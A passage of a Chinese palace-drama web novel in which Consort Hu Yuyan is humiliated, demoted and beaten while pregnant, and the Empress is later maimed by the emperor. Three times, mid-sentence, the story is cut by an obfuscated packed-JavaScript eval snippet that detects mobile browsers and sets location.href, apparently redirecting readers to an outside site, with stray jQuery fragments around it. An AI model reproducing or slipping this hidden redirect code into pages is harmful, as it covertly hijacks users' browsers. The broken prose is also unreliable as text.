“玉烟,有没有事?”赵长昭替她拍着背,胡玉烟止不住地咳嗽,胸口犹如刀割。
她眼前水光模糊,忽而听见几声大动静,竟是几个内侍跳入湖中。
她连忙从赵长昭怀里挣脱,与他保持着距离。
不一会儿,几个内侍竟从湖中抬出一个人影。
是个女子,衣裳绣着金鸟银枝,华贵而熟眼。胡玉烟费力睁开眼,只见那女子被抬至岸边,长发披散,面色如纸。
“快唤太医!”另一个太监尖声喊着,慌乱四起。
胡玉烟吓了一跳,身上还滴着水,也踉跄着往那边去,赵长昭担忧地跟在她身后。
那女子静静躺在岸边,仿佛睡着了一般,可胸口没有起伏,唇色惨白。
看清了面容,胡玉烟被吓了一跳,那是郭美人,她们早上还一同去拜见皇后。
一个大活人就这样没了气息,胡玉烟掐住赵长昭的手,忍不住干呕起来,一阵寒意从脊背攀上脑顶。
这时候,杂乱的人群列着队候着,一个清亮的女声传来。
“这是什么热闹?”
胡玉烟脚步虚软,干脆跪倒在地,她湿透的衣裙还在滴水,乌发贴在脸侧,衬得整个人更添几分凄冷。
“皇后娘娘。”赵长昭冷着脸对着高皇后行了一礼。
高皇后看着浑身湿透的二人已经知道发生了什么,毫不掩饰自己的失望,对赵长昭道:“十三殿下倒是来得巧。”
这时太医也跪地禀报,“启禀皇后,郭美人断气了。”
“哎呀。”高皇后惊讶地捂住嘴,“郭美人有孕在身,是一尸两命,快去通知陛下。”
两个宫人快步跑开,胡玉烟怔怔望着那具尸身,风吹得她发颤,她越来越冷,喉头泛起恶心,终是忍不住吐了出来。
赵长曙来得极快,他面色铁青,看着这一场闹剧。
他抬手阻止了高皇后到嘴边的话,只道:“淑妃与十三殿下落水受寒,快些回宫更衣。”
“慢着。”高皇后盯着赵长曙,直到赵长曙将视线移到她脸上。
“淑妃与郭美人同时落水,十三殿下却只救了淑妃而不顾有孕的郭美人,这事是不是有些蹊跷啊?”她抚弄着头上的发钗,慢悠悠地道:“要知道朝臣最关心陛下子嗣,这样一来,如何交代?”
赵长曙神色冷峻,死死盯着高皇后,眼中阴沉无比,可一个字都说不出。
胡玉烟闭了闭眼,高皇后分明是要她与郭美人一同葬身湖底。赵长昭意外将她救上来,如今她活着,是碍眼之人。
周围的宫人站成一列,观赏着她的狼狈。
胡玉烟轻轻叹了口气,心里想着,左不过是责罚羞辱,她认了就是。
见赵长曙不说话,高皇后接着道:“皇嗣之事非同小可,本宫乃后宫之主,今日之事虽与淑妃无关,但郭美人终究是因淑妃而死,就掌嘴二十,去去晦气,再每日抄写佛经,为郭美人与皇嗣祈福。”她又偏头看向赵长昭,“十三殿下在二人间不以皇嗣为重,也当责罚,罚俸一年以示惩戒。”
高皇后语气不疾不徐,神情却笃定,她转眸看向僵在原地的赵长曙,唇角微扬,“陛下以为如何?臣妾这般安排,可好向朝臣交代?”
“还是说……臣妾叔父正在前厅做客,不如宣他来裁决?”
赵长昭想开口,胡玉烟却扯了扯他的袖子,她抬头看了一眼赵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333479|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长曙,可那人只是紧抿着唇,脸色比雪还要白,却一句话也没说。
“那就别等着,动手吧。”高皇后话音刚落,一个嬷嬷已经走到了胡玉烟面前。
耳边忽地响起啪的一声脆响,胡玉烟咬着牙忍下,她看见赵长曙微微偏头,竟是不敢与她对视,仿佛她的目光便是刀子,他不敢承受。
是了,他无能为力。
胡玉烟笑了一下,眼眶终于泛了红。
耳光一个接一个落到脸上,时间过得极快。到最后,她无力地瘫倒在地,目光不经意地看向赵长曙,对方却仍是不愿分给她一个眼神。
她心下发冷,忽而一个带着寒意的胸膛贴了上来,赵长昭揽着她的肩,毫不避讳地将她从地上扶了起来。
赵长曙负手而立,冷声道:“事已了,郭美人失足落水而亡,追封为贤妃,都散了吧。”
高皇后一走,人群散开。胡玉烟僵直着身子站在原地,看着赵长曙解开披风披在她身上,又直视着赵长曙离去的背影。她在寒风中打了一个颤,随后在赵长昭的搀扶下回了宫。
胡玉烟回宫后,当晚便起了热,连带着接下来的几天都精神抱恙。她不与旁人说,只自己受着。
待身子缓过来,她命人在院中架了一个秋千。秋千终于架好了,她披着斗篷坐上去,晃悠了几下便悻悻地停下了。
风吹着额边的碎发,阳光落在她脸上,她却只觉得心里空空的,毫无生趣。
想来她今年不过二十多岁,按理说应是豆蔻年华,正值最欢喜的年纪,可她却已心力交瘁,像是一夜间老去。
她起身缓缓回房,刚走到廊下,便听见宫人禀道:“十三殿下前来探望娘娘,正候在殿外。”
胡玉烟怔了一下,吩咐人请他进来。
一月不见,赵长昭还是那副沉静的模样,只是眼神比从前深沉了几分。他拱手行礼,道了声:“听说娘娘病了,臣弟特来问安。”
胡玉烟笑了笑,示意他落座。
赵长昭微垂着眼,默了片刻,才轻声道:“我一直跟着严先生读书做策论,皇兄还夸我写得有见地。严先生说再过些日子,就要教我骑射了。皇兄也说御马苑的马任我挑,我选了一匹小红马,前两日给它梳毛,那小畜生竟冷不丁踹了我一脚,幸好我躲得快。后来皇兄教我射箭,我第一次上场,箭直接飞出了靶子,皇兄笑我蠢,还让我自己跑去把箭捡回来。”
他顿了顿,眼中泛起神采,“等阿嫂病好了,和皇兄一起来看我骑马射箭吧,到时候我肯定大有进步了。”
赵长昭自己的乐事都一一说来,胡玉烟却知对方不过是报喜不报忧,刻意想哄自己开心,她早听说高皇后称自己养的狗跑进了杨太妃宫里,接着找狗的由头,把赵长昭的房间打砸了一番。
高皇后又宣了杨太妃觐见,杨太妃回去之后便受了刺激,大半夜跑到赵长昭的榻前想将他捂死。事情不成,杨太妃第二日便在佛堂吞金自杀了。
“秀郎聪颖,一定学什么都快。”胡玉烟脸上带着笑意,赵长昭的面目却渐渐在她眼前模糊起来。
她望着他握着茶盏的手指,忽然生出一丝荒诞的错觉,仿佛他仍是那个小心翼翼依恋她的少年,而她也还不是如今这副疏离淡薄的模样。
那些已经过去的,回不去了,连秋千都坐不出旧时的欢喜了。自那之后,天地皆似褪了色,再热闹也隔着雾,叫人心中无端生凉。
她移开目光,忽而觉得头有些沉,轻轻扶了扶额。
赵长昭立刻紧张地凑近,“阿嫂可是又不舒服了?”
胡玉烟摇摇头,正想起身,却眼前一黑晕了过去。
11. 芙蕖(一)
她再醒来时,天色已黑。
惠儿见她醒了,连忙捧来温水,“十三殿下已经走了,娘娘昏迷了两个时辰,太医说娘娘是心气郁结,需得好好调养。”
胡玉烟头有些发晕,却见惠儿满脸愁容,问道:“你怎么了?”
惠儿直言:“奴婢担心娘娘。”
胡玉烟苦笑:“我是命里如此,倒是连累我宫里的宫人和我一起受苦。”
惠儿忙道:“娘娘是好人,姐妹们心里都尊敬娘娘。”
胡玉烟呼出一口浊气,又仰面躺下,望着帐顶发呆,只觉身子沉得像灌了铅,连指尖都提不起力气。
她忽而觉得累,不是身子上的疲惫,而是心上那种长年积压的疲惫,像一层一层裹着她的茧,怎么挣也挣不开。
赵长曙知她总是病着便常来看她。有一日夜里她醒了,正见着赵长曙抓着她的手垂泪,她抬手替他将眼泪拭去,又笑问:“陛下怎么哭了?”
赵长曙攥着她的手不放,替她将额发别到耳后,“世间至痛,眼睁睁看着自己的发妻因自己而心力交瘁、缠绵病榻。”
胡玉烟的话有些无力。
“妾身弱,不能伴君左右,是憾事。”
赵长曙带了哭腔,“阿烟,你叫我舒郎好不好?”
胡玉烟气若游丝,却还喃喃道:“舒郎……舒郎……”
她这才注意到,赵长曙脸上有一个红痕,宫中敢对天子动手的只有那一人了。她只装作没看见,抬手捧住赵长曙的脸颊。
赵长曙将她拥进怀里,细密的吻一下一下落在她的眉心、眼角。胡玉烟缩进他怀里,一开始是触及的绸缎的凉意,后来渐渐便暖起来了。
胡玉烟的病来回折腾了整整一年,几番好转又复沉疴,身形早已削得单薄如纸,走起路来都要人搀扶。
赵长昭倒是常来看她,隔三差五便拎着书卷、点心或新奇玩意儿来凝晖宫。但她每每听闻他的脚步声自远而近,心里却并无一丝欢喜,甚至生出一种难以言喻的倦怠。
她常叫宫人替她挡了回去,只说身子不适,不宜见客。
她原以为自己的身子早已空落得连生机都不剩了,太医那日诊完脉却愣了一下,几番确认后才战战兢兢地跪下禀道:“恭喜娘娘,已有了两个月的身孕了。”
胡玉烟怔怔地看着他,半晌没能回过神来。
她将首饰盒里的金钗全部塞进太医手里,跪地叩头求他保守秘密。
等太医答应了,她依旧靠在榻上,一言不发,掌中捏着的帕子已被攥得皱巴巴的,却像是捏住了一线不真实的浮光。
她低头抚了抚腹部,那里还未隆起,仍是那副骨瘦如柴的模样,仿佛这消息只是梦中的一句虚妄。
但奇异的是,从那一刻起,她心里那潭死水忽然起了涟漪。
当晚她没再拒绝药汤,甚至吩咐宫人煎得清些,易于下咽。她吃了一些点心,又倚在床榻上静静看了一会儿窗外的月亮。
风仍是冷的,身子依旧轻飘飘如浮絮,可她知道自己还有一口气,还能护一个人平安来到世上。
暮色降临,灯火次第点起,内侍的脚步声渐密。
上官楚平定叛乱有功,皇帝在内宫设宴宴请上官家众人。
自从知道自己有孕在身后,胡玉烟的身子一日日好起来。她挑了身叫人挑不出错的衣饰,匆匆赶去宴会。
高皇后一见她便道:“淑妃几日不见,气色倒是好些了。”
胡玉烟行了礼,话语依旧是绵软无力,“臣妾重病,忧心病气冲撞了娘娘。”
她识趣地在末席坐下,静静地看着宾客一一落座。
赵长昭的视线和她对上,朝她俏皮地眨眨眼,胡玉烟报之一笑。
上官楚的堂弟上官卓昂先行落座,朝赵长曙拱手道:“上官楚将军临行前忽然身子抱恙,不便入宫。”
赵长曙假作关切:“上官大人一向强健,怎么会突然抱恙?可曾请太医诊视?”
上官卓昂垂首回道:“将军在出征前操劳过度,近日又寒气入体,已有太医前去诊治,殿下勿忧。”
赵长曙轻轻点头,“既是如此,那便好好调养。朕命人开库房,取两根好参送去上官将军府。”
众人一一坐定,一曲新乐奏起,舞伎翩翩起舞。
胡玉烟扫视着宴会上的众人,上面坐着的都是上官家宗亲,赵国的江山虽是姓赵,实际却是由上官家把持多年。
她捏紧了袖口,将手放在小腹上才寻到一丝安心。
一曲将尽,酒意微醺,赵长曙正要唤宫人撤乐,却听上官卓昂忽地开口:“陛下,微臣斗胆,今日觐见,还有一事,需面禀。”
赵长曙略一皱眉,放下酒盏:“上官爱卿请讲。”
上官卓昂起身拱手,神色端肃。
“家兄上官楚将军有意为其长子上官华求娶安阳公主,特命微臣入宫禀奏,望陛下准允。”
赵长曙面色未动,只道:“朕记得上官公子早已婚配,连儿子也生下了。”
上官卓昂坦言:“上官公子原配夫人已于两月前病逝,上官公子乃是栋梁之材,风华正茂,与公主甚是相配。”
赵长曙举盏掩唇,抿了口酒入喉才道:“父君膝下子女多早夭,朕只安阳公主这一个妹妹,父君临终前也最是放心不下这个女儿,如今安阳年幼,朕实在不舍得将她嫁人。”
上官卓昂继续道:“公主芳龄已至,正宜及早筹谋。将军久镇边陲,心怀忠义,常念与天家世代交好,此番更是有意联姻,以固宗亲之情,安社稷之心。”
赵长曙目光在众人之间游移,终是微一蹙眉,语气温吞:“此事非小,容朕再与礼部议过,日后再定。”
上官卓昂却再度上前一步,拱手加重语气:“将军在军中已遣人备下婚聘之物,直待陛下首肯。”
赵长曙拢袖,指节轻轻叩着案几,片刻才缓缓点头,勉强带笑:“既是将军美意,朕……自不会拂了忠臣之愿。只是安阳公主向来体弱,等她再养上几日,朕便召她问问她的意思。”
上官卓昂终于退下,“多谢陛下。”
赵长曙举盏仰饮,一口酒下肚,又重重地将酒盏放在案上。
胡玉烟眼见此番闹剧,心中泛起一股说不出的郁气。
赵长曙说是再议,可上官卓昂这般强硬,这婚事应该是没有回旋的余地了。
安阳公主比赵长昭年长两岁,如今不过才十七,因是女儿家便在宫外金尊玉贵地养着。
她瞥向坐席上举杯饮酒的上官华,只觉对方年过三十,形貌猥琐,如何能与公主相配。胡玉烟偏头看向赵长昭,只见对方亦是面色铁青。
夜已深,月上中天,宫宴渐散,喧嚣一寸寸退去。
等到众人离去时,胡玉烟拢了拢肩上的纱披,正要转身,身后忽然传来一阵踉跄脚步。
“这位姑娘是?”带着酒气的男声闯入耳畔。
惠儿拦在胡玉烟身前,朗声道:“这是淑妃娘娘!”
胡玉烟微微侧身,只见一个高大的身影摇摇晃晃地倚在朱红宫墙上,金冠斜歪,袍角凌乱,正是今日席间求娶公主的上官华。
胡玉烟眉心一蹙,抬手作揖,正欲离开。
上官华却大笑一声,脚步踉跄着朝她走近,“娘娘如此姿容,竟也有几分像……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333480|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我梦中的仙人。”
“放肆!”她语气清冷。
“娘娘又如何?你说我把你怎么样了,那赵家皇帝敢说一个不字?”话音刚落,他竟伸手欲去触她衣角。
胡玉烟抬手欲打,却被上官华猛地扣住手腕,反压在身后的朱墙上。
惠儿见状大惊,惊呼一声,连忙转身奔去寻人。
胡玉烟冷眼怒视,另一只手猛然扬起,狠狠一掌甩在上官华脸上。
上官华被打得偏了头,酒意骤散几分,随即怒火中烧,抬手反扇回去,咬牙骂道:“贱人!”
“啪”地一声闷响,胡玉烟被打得失了重心,踉跄跌倒在地,她鬓发散乱,半边脸颊迅速泛起触目惊心的红肿。
“怎么回事!”一声厉呵传来,却是上官卓昂疾步朝这边跑来,看着瘫软在地,鬓发散乱的胡玉烟,立刻明白了这是怎么一回事。
他将胡玉烟从地上扶起,这时赵长曙与高皇后也来了。
高皇后勾起嘴角,一副看好戏的神情,“哟,这是怎么了?”
胡玉烟站稳了身子,只道:“臣妾不甚酒力,摔了一跤。”
赵长曙怒目圆睁,瞪视着上官华。
上官卓昂大笑一声上前,“一个女子罢了,陛下不必放在心上。”
赵长曙哼笑一声,转头看他,“大人以为呢?”
上官卓昂捋了捋胡须,见赵长曙是真的动了怒,道:“大公子御前失仪,我想上官大人回去之后一定会好好管教的,将来公主嫁入臣家,必不会委屈了公主。”
赵长曙扬手,身后的侍卫纷纷上前。
“上官华冲撞君王,拖出去打五十大板。”
侍卫将上官华押住,上官华面色难看,似有不服。
高皇后瞪了胡玉烟一眼,悠悠道:“淑妃已言是自己摔倒,陛下这是个什么意思?”
赵长曙看向高皇后,面色沉静,一字一顿地道:“意思就是这是天子的意思,是赏是罚,臣子都得受着。”
他挥手示意侍卫将上官华押下去。
上官卓昂却抬手制止,他拨开侍卫,几下将上官华的外袍脱了下来,直视着赵长曙道:“上官家是臣子,也尊你一声陛下,但陛下心中也要清楚上官家分量。”
他将上官华的外袍丢在赵长曙面前,“今日之事是华儿无礼,以衣袍带人,拿去打五十大板吧!”
夜深了,宫墙外传来几声狗吠。
高皇后哼笑一声,上前亲昵地拉住胡玉烟的手,“淑妃啊淑妃啊,看陛下对你多好,为了你不惜薄了上官家的面子。”
“你给朕滚!”赵长曙吼道。
高皇后也不恼,依旧朝上官卓昂撒着娇道:“叔父可别总怪侄女肚子不争气,叔父如今也见着了,皇帝与侄女并非一条心。”
上官卓昂瞥了一眼胡玉烟,又将目光放在赵长曙身上。
“陛下看样子是为美色所惑,我将禀报上官大人,此等红颜祸水应当好好惩治才对。”
赵长曙脸色一变,捏紧了拳头,随后背转过身,厉声道:“淑妃胡氏,冒犯天颜,令褫夺封号,废为庶人,幽禁冷宫。”
赵长曙的话一字一字砸进胡玉烟心中,她却并没反应。直到赵长昭将她从地上扶起,她才注意到高皇后和上官家的人都离开了。
赵长昭朝上官卓昂的方向啐了口唾沫。他已经十五了,正是长个子的年纪,如今已比胡玉烟要高上许多,看着眼前身量纤细的人,他强忍着想将人揽进怀里的欲望,只轻轻拍着她的背,又很快察觉到对方在颤抖。
胡玉烟将胳膊从赵长昭手中抽开,复又转身,在赵长曙的注视下越走越远。
12. 芙蕖(二)
胡玉烟从住了五年的凝晖宫搬去了冷宫。
想来她和赵长曙是少年夫妻,两年欢喜,五年离乱,终是劳燕分飞。她心中只剩一股难以言说的疲惫,就像一根拉得太久的弓弦,忽然断了,连回响都没有。
她只带着几口行李、一个贴身丫头,住进了这处久无人居、蛛网横梁的荒院。
她将手覆上小腹,那里已经微微隆起,再过些时日就要藏不住。
冷宫荒凉,无人打扰,她正好可以无声无息地将孩子生下来。
胡玉烟那夜昏沉沉睡去,不知何时竟入了梦。梦中天光微凉,她独自一人立在金阶之上,四下寂静无声,连风也像凝固了。
远远地,一道熟悉的身影自重重宫门外缓缓而来,步履沉稳,却从不曾抬头看她一眼。
是赵长曙。
她想唤他,唇动却发不出声,她一步步走下金阶,每一步都如履薄冰,宫道漫长得没有尽头。
她走得急了些,却始终追不上他。
梦醒时,胡玉烟泪湿枕边,身边空无一人。此时她心中却无惊无惧,只觉万事俱寂。
冷宫位置偏僻,平日里人影都看不到,她与赵长曙既不相问,也不相见。衣食却是不缺的,宫人按时送来饭食,却无人开口与她多言一句,恍若照看一件陈旧器物,只求其不碎不烂,便已足够。
赵长昭常来看她,终是发现她的不对劲。
“玉烟姐姐,你这是?”少年带着几分好奇地盯着她的肚子。
胡玉烟点点头,脸上挂着幸福的笑容。
“这……皇兄知道吗?”
胡玉烟摇摇头,“现下只有长昭知道,这是我们的秘密。”
赵长昭心脏怦怦直跳,得了胡玉烟首肯后,他小心翼翼地将掌心贴到了那隆起处。
他心中自是欢喜,但紧接着就被担忧淹没。
“你有孕在身,怎么能在此受苦……”
胡玉烟摇摇头,看向远方,“此处很好。”
赵长昭沉默了一瞬,心中明白,只待了一会儿便默默离开了。
“这里荒凉,宫里人又最是见风使舵,玉烟姐姐若是缺什么,少什么一定要告诉我。”赵长昭临走前嘱咐道。
胡玉烟点点头,也叮嘱着:“十三殿下无事多去看看陛下吧,莫与皇后冲撞,这宫里的日子……太难熬了。”
赵长昭只回头望了一眼,随后飞快地跑开了。
天气渐渐转凉,眼见着身子越来越沉,胡玉烟却觉着心头渐渐暖起来。
她开始重新盼着清晨的第一缕阳光,重新数着日子,一针一线地缝些小衣物。不久之后,会有一个孩子,喊她一声娘。那一声,便是她余生所有的意义。
赵长昭来冷宫来得更勤了,他似乎对这个尚未成型的小侄儿很感兴趣,胡玉烟早已将他看作亲弟弟,脸上更多了笑容。
眼见着她的双颊丰盈起来,赵长昭恨不得日日往这里跑。
“玉烟姐姐要给孩子娶什么名字?”赵长昭笑意盈盈地望着她。
胡玉烟摸着肚子,她总是不安,她已想清楚了,等孩子生下来,便托严子虚带出宫外交给她父亲抚养,她只需要知道孩子安好就好了。至于孩子的生父,最好永远都不要知道这件事。
她摇摇头,脸上多了几分凝重,“我想不出来。”
风吹过枝头的枯叶,引起一阵沙沙的响声,眼看就是深秋了,胡玉烟拿着上好的皮子做了一顶小毡帽,心中的期待更甚。
这日胡玉烟正与惠儿在檐下翻花绳,门外传来一声巨响,是有人将门踹开。
那女子眉目模糊,唯独一身明艳华服晃得人睁不开眼。
胡玉烟踉跄地站直了身子,又脚下一软跌在地上,她慌忙爬起来行礼道:“参见皇后娘娘。”
一群人将胡玉烟与惠儿团团围住,高皇后抚了抚头上的金钗,面带挑衅居高临下地看着她,语气不疾不徐。
“本宫发现十三殿下总是来药房偷药,偷的还是安胎药。”
“本宫还以为是十三殿下有孕在身呢。”她掩面笑了一声,又缓缓踱步靠近,冷冷地看着眼前浑身颤抖的胡玉烟,目光冰冷至极,“你当冷宫是什么地方?也敢在这儿养贱种?”
胡玉烟脸色惨白,护着肚子一言不发。
她伸手挑起她的下巴,咬牙切齿地道:“赵家皇帝算计我不让我有孕,却叫你在这里偷偷生下孩子,我不会让你们好过的。”
胡玉烟一瞬间入坠冰窟,两行清泪自眼眶滑落,她连忙跪地叩头。
“稚子无辜,求娘娘饶命!求娘娘饶命!”
她将头一次次砸在粗糙的地砖上,额头很快涌出鲜血。惠儿想扶住她,又被她一把推开。
高皇后居高临下地看着胡玉烟,乐得欣赏她这般狼狈的模样。
很快胡玉烟的额前见了血,这时候,一个身影快步跑来。
赵长昭喘着粗气,涨红着脸,慌慌忙忙跑到胡玉烟身侧,同她跪在一处。
“皇后娘娘,胡氏怀有陛下龙种,娘娘不可放肆!”
高皇后轻轻摆了摆手,看着赵长昭的眼睛快要蹦出火星子,“前朝由叔叔说了算,后宫由本宫说了算!”
“陛下算什么东西?十三殿下又以为自己算什么东西!”
“你!”赵长昭几欲上前,却被两个侍卫死死按住。
人群的骚乱惊动了树上的寒鸦,胡玉烟心下绝望,满脸泪痕,祈求地看着高皇后。
“求皇后饶恕臣妾……待臣妾生下孩子,臣妾……愿以死谢罪。”
高皇后闻言只是哼笑一声,一脚踩上胡玉烟的手背,冷声道:“哪里有这么便宜的事?”
她随意地摆了摆手,吩咐道:“废妃胡氏,身在冷宫却不检点,竟与人私通有孕,杖四十。”
胡玉烟闻言瘫坐在地,复又抱住高皇后的脚,痛呼道:“求娘娘饶命,臣妾求娘娘!待臣妾生下孩子,娘娘要杀要剐,臣妾绝无怨言!”
赵长昭几欲挣脱,又被死死按在地上,“高皇后!胡氏有孕在身,我赵国律令也没有对孕妇施杖刑的道理!你这么做就不怕遭天谴吗!”
高皇后一脚将苦苦哀求的胡玉烟踢开,又瞥了一眼赵长昭,眼珠子转了转,复又随意道:“那这样好了,十三殿下杖二十,胡氏杖二十,就不枉费十三殿下好心了。”
她将手轻抬,坐在宫人搬来的椅子上,“动手吧,在陛下回宫之前结束。”
话音未落,几名粗使嬷嬷上前,将胡玉烟按倒在地。
胡玉烟拼命挣扎,一手护着肚子,这时一杖打在她后腰楚,一阵剧痛传来,她瞬间失了力气只能狼狈地摔倒在地。
“不!别动我的孩子!求求你……娘娘,饶了他——”
棍杖落下时,疼痛在一瞬间将她的世界撕碎,她终是没能再喊出声,手指死死扣住冰冷的地砖,血从指缝和裙摆里漫开来,温热一地。
赵长昭在一瞬间红了眼,他不顾一切地往前冲去,一杖落到他腿上,他只觉得腿骨断裂,还是不管不顾地向前爬,想要抓住胡玉烟的手。
看着她痛苦,他只恨自己无力
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333481|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,恨得想要发疯。
“阿烟……”他的呢喃未说出口,便被另一记棍击狠狠落在背脊上,痛到声嘶力竭,满口腥甜喷涌而出。
风卷着血腥味拂过这座沉寂的冷宫,太阳照在胡玉烟失焦的双眼上,地上是铺散开的鲜血。
“太医给两个人都治治,别让他们死了。”
胡玉烟耳边嗡嗡作响,只听得这句话,随后万籁俱静。
她感觉自己像是被丢进一口冰井,四肢麻木,心跳缓慢,连呼吸都变得遥远。
隐约间,有人将她从地上抬起,她的手指无力垂着,鲜血顺着手腕滑落,在空中滴出一点一点绛红。她听见太医慌张的脚步声,也听见有人在喃喃唤她的名字,似是在咬牙隐忍,又像是将整颗心撕裂。
她想动,却连眼皮都抬不起来,只觉喉间腥甜,肚腹空落得像是被撕裂了一块。
有人在给她止血,有人按住她的脉搏,有人小声说着“还活着,还能救”。
可她不想听了,她心里什么都没剩下了。
风起时,帘角微扬,案上的灯火轻轻晃了一下。
华丽的宫殿内,高皇后正在梳头,大门忽然被人猛得踹开。看着赵长曙提着开了刃的天子剑步入长宁宫,她拢了拢头发,起身缓步朝他走去,“怎么?陛下莫不是敢杀了我?”
“你若是真敢杀了我,我还敬你三分。可惜你只是个上官家的傀儡,你护不住你心爱的女人,也护不住你的皇位。”
赵长曙平静地看着她,她话未说完,寒光骤然袭来。
“啊——!”血光乍现。
高皇后猝不及防,竟被一剑削去左臂,鲜血如注。
她尖叫着倒退数步,面色煞白,捂着断臂跌坐在地,衣袖被染得通红,不可置信地看着赵长曙。
“啊——赵长曙!”她嘶声怒吼,“你疯了!”
“救命——快来人!”
赵长曙的脸上沾了血珠,脸色苍白,双目平静地如一滩死水,他又用剑尖挑起高皇后的下巴。
高皇后在赵长曙脸上看到了杀意,这才怕了,顾不得伤痛,只匍匐着向后躲。
“别……别杀我。”
赵长曙居高临下地看着她,复而轻笑了一声,将染血的剑哐当一声掷于地上。
窗外传来一声惊雷盖过了高皇后痛苦的哀嚎,在血液漫到靴底的前一秒,赵长曙后撤了一步,随即转身走了。
殿外候着的内侍撑着伞上前,赵长曙却一把推开,径直步入雨中。
“不许宣太医。”他嘱咐道。
风刮得树叶簌簌直响,雨点打在脸上犹如刀割。
小内侍抱着伞亦步亦趋地跟着,却不敢说一字。
赵长曙像全然不觉,只顾往前走,一直走回了寝宫,身后宫人悄然远避,无人敢近。
宫门渐渐阖上,发出低沉的闷响,将一切都隔绝在外。
赵长曙在书案前坐了一夜,直到第二日内侍来报。
内侍跪俯在地,脊背微颤。
“启禀陛下,皇后娘娘驾崩了。”
赵长曙依旧一动不动,过了许久才哼笑一声,终于是有了反应。
“来,你来扶朕一把。”他朝那内侍招招手。
内侍抬起头,眼神犹疑,连忙上前,小心翼翼地将赵长曙从椅上扶起。
赵长曙的手冰凉得像是从雪地里伸出的,骨节分明,却毫无力道。
他低头掸了掸衣襟,阳光透过廊下檐角洒落,映得他衣袍暗红。
“通传一声,朕今日不上朝。”
13. 芙蕖(三)
眼前漆黑一片,胡玉烟手中提着一盏孤灯,昏黄的光只能照亮前方一隅,周遭尽是深不可测的黑暗。
她被某种无形的力量牵引着往前走,脚步慌乱,却不敢停下。
忽而,一只温热的手握住了她的掌心。她猛地抬眸,竟见是赵长曙。
“长曙?”胡玉烟心头一震,本能地想要靠近,却被赵长曙抬手稳住。
这时,一个小女孩从他身后探出身来,眉眼精致,与她十分相像,一双乌黑的眼睛清澈如水,唇角带着稚气的笑意。
她轻声唤道:“阿娘。”
胡玉烟又惊又喜,急切地将她抱入怀中,心口柔成一团。她张口欲呼唤孩子的名字,却怎么也想不起来,自己曾给女儿取过什么名字。
“玉烟……”赵长曙的声音在耳畔响起。
胡玉烟心神一恍,怀中的重量猛然一空,小女孩竟凭空消失。
她大骇,再看时,那孩子正怯怯地躲在赵长曙身后,露出半边小脸。她伸手欲再将孩子抱回,赵长曙却牵着女儿的手,转身一步步远去。
“不要!”胡玉烟急欲追随,却猛然撞上了一道无形的屏障。冰冷的气息将她困在原地,她死命拍打,嗓音嘶哑。
“赵长曙!你回来!把孩子留下——”
没有回应,父女二人的身影越走越远,直至融入黑暗。
胡玉烟泪水夺眶而出,手中灯火摇曳不定,忽明忽暗。四周再次陷入彻骨的黑,她慌乱奔走,提着孤灯,声声嘶喊着,回应她的却只有无边无际的空旷与黑暗。
不知过了多久,胡玉烟像是终于挣脱了重重桎梏,猛地睁开眼。
刺目的光涌入眼底,眼前赫然是一张焦急的面容。
她瞠目欲裂,惊呼出声,本能地死死扣住了眼前人的手,唇齿间溢出的却是慌乱至极的呼喊:“孩子呢?你把我的孩子带到哪里去了?快把她还给我!”
她神色恍惚,双眼失焦,根本认不出眼前的人是谁。
赵长昭心口一紧,仓惶间伸手去稳住她乱晃的身子。可胡玉烟就像丢了魂,哭喊声撕裂般传来,带着绝望与哀恸。
“玉烟!你醒醒!”赵长昭厉声唤她,嗓音发颤。
胡玉烟挣动着,胸口猛然一颤,双唇微微翕动,却很快力竭般又陷入黑暗。
赵长昭心神骤乱,他顾不得自己的伤势,用力攥住她冰凉的手指,额头抵在她枕边,泪水夺眶而出,他带着颤抖一声声唤着她的名字。
“玉烟,醒醒……玉烟,是我……我在这儿,你别怕……”
惠儿端来了汤药,正瞧见赵长昭失了魂般呆坐着。
“殿下,你身上还有伤,快走吧,我来照顾娘娘。”
赵长昭缓了好一会儿才摇了摇头,低声喃喃:“我哪也不去。”
惠儿皱眉,只得劝道:“陛下的意思是淑妃已经死了,十三殿下若惹了旁人注意,岂不是辜负了陛下的良苦用心?”
“陛下……陛下。”赵长昭反复呢喃,眼神空茫,“赵国哪里还有陛下?陛下呢?”
屋内忽然闪入一道身影。
“糊涂!”
严子虚沉声一喝,一把揪住赵长昭的衣领,将他从椅子上硬生生扯了起来。
“老师……”赵长昭失神唤道。
严子虚旋即快步走到榻前,将昏迷不醒的胡玉烟抱起便往内屋走。
院外脚步声骤然逼近,来人是贵妃宫中的几个大宫女。
严子虚适时从帘后走出,“我授十三殿下诗书,与殿下缅怀故人,怎么惊扰了几位姑娘?”
